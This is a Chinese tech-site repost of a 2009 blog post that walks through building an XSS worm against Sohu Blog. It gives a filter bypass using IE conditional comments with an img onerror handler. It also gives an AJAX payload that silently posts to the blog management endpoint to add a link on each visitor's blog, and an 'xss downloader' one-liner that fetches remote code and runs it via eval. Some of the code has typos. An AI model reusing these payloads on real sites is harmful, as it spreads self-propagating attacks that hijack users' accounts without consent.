首页 电脑 电脑学堂 查看内容

搜狐博客的一个小蠕虫

2009-4-20 11:08 801 0

摘要:   搜狐博客的一个小蠕虫   开头:最近无聊看了些《越狱》,感觉很刺激,枕头边上还有点ajax的书,无聊就拿出来看了。头脑一热,看到里面的eval()和indexof()让我想起了一篇文章,其实是茄...
关键词: 搜狐 一个 茄子 然后 xmlhttp 蠕虫 xss 如图 ajax 博客

  搜狐博客的一个小蠕虫   开头:最近无聊看了些《越狱》,感觉很刺激,枕头边上还有点ajax的书,无聊就拿出来看了。头脑一热,看到里面的eval()和indexof()让我想起了一篇文章,其实是茄子宝写的,我忘了。于是就有个冲动,试试看,写点什么。反正现在的ajax xss很多,很多人也不在乎它的安全。我们就开始一次搜狐博客的ajax蠕虫之旅吧。   1、我选择搜狐是看到茄子宝的博客被搜狐和谐了,但是幸好我又找到了他刚开的一个博客,顺手就那么点进去了,看到里面一个文章:oh!shit,打开一看,就弹了一个框框。先汗个。我就想,不就是个alert()么,一抓一大把的说,但是经过我N+N+1次的测试发现,搜狐经过了很大的变化,不是以前那样随便输入就可以涂鸦了。全部被和谐掉了,什么制表符,16进制都没什么鸟用了,郁闷之下“参考”了下茄子宝大牛是怎么过的,惊讶的是,他竟然没被过滤“<、>”!那是什么情况呢?!原来他用了注释,html里的注释。   <!--[if IE]>   <img src=\) width='0' height='0' onerror="alert('Fuck This!')" />   <![endif]-->   看到这东西我明白了,果然还是牛人聪明。于是,搜狐就这么被XSS掉了。   2、一般的ajax xss无非就是类似   var url = "http://www.xxx.com/xx.do"   var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");   xmlhttp.open("GET", url+"参数", false);   xmlhttp.send();   的类型。   那么我们来做一个感染的,自动添加友情连接(-_- 现在的人都这嗜好),我们先抓个包。如图1   (图1)   3、然后我们写一段ajax   <!--[if IE]>   <script src=javascript:var xmlhttp;   function createXMLHttpRequest(){   if(window.ActiveXObject)   {xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");   }   else if (window.XMLHttpRequest){   xmlhttp=new XMLHttpRequest();   }   }  //创建一个xmlhttp对象   Function xiaoshuai()   {   createXMLHttpRequest();   XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  //别忘了这句话   xmlHttp.open("post","/manage/module.do",false);   xmlHttp.send(escape(“m=update&id=m_30988476&type=my_links&title=&data=%7B%22linkList%22%3A%5B%7B%22tit%22%3A%22username1%22%2C%22desc%22%3A%22username2%22%2C%22url%22%3A%22http%3A//www.xssor.cn/location.html%22%7D%5D%7D”));   window.document.onload='xiaoshuai();/>   <![endif]-->   其中抓包的信息里,   描述是username2,连接显示是username1,link地址是www.xssor.cn/location.html,你把他换成你的博客的首页就好了,因为这个在首页也是可以执行的,如图2   (图2)   结尾:整个文章是从遇到了xss的过滤,然后到解决了过滤(借鉴了别人的办法),然后写了一小段ajax来感染。一个小小的蠕虫就是这么诞生的,希望能从标签开始小心的过滤了。写到最后,我想起来了!!!其实大家也可以用xss downloader,什么是xss downloader,是茄子宝写的一个小东西,代码如下:   javascript:a=new ActiveXObject('Microsoft.XMLHTTP');a.Open('get','http://xxx/xss.htm',false);a.send();b=a.responseText;eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))))   计算从第一个--|开始的字符串到|--结束,然后这代码就开始工作了。我们何尝不可以把自己会被过滤掉的代码写到正常的文章里呢,然后用xss downloader来工作。这样也能周而复始的传染,而且解决了有时候会遇到的跨域问题。这也是我从茄子宝那学来的。网络的资源很多。善于学习。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部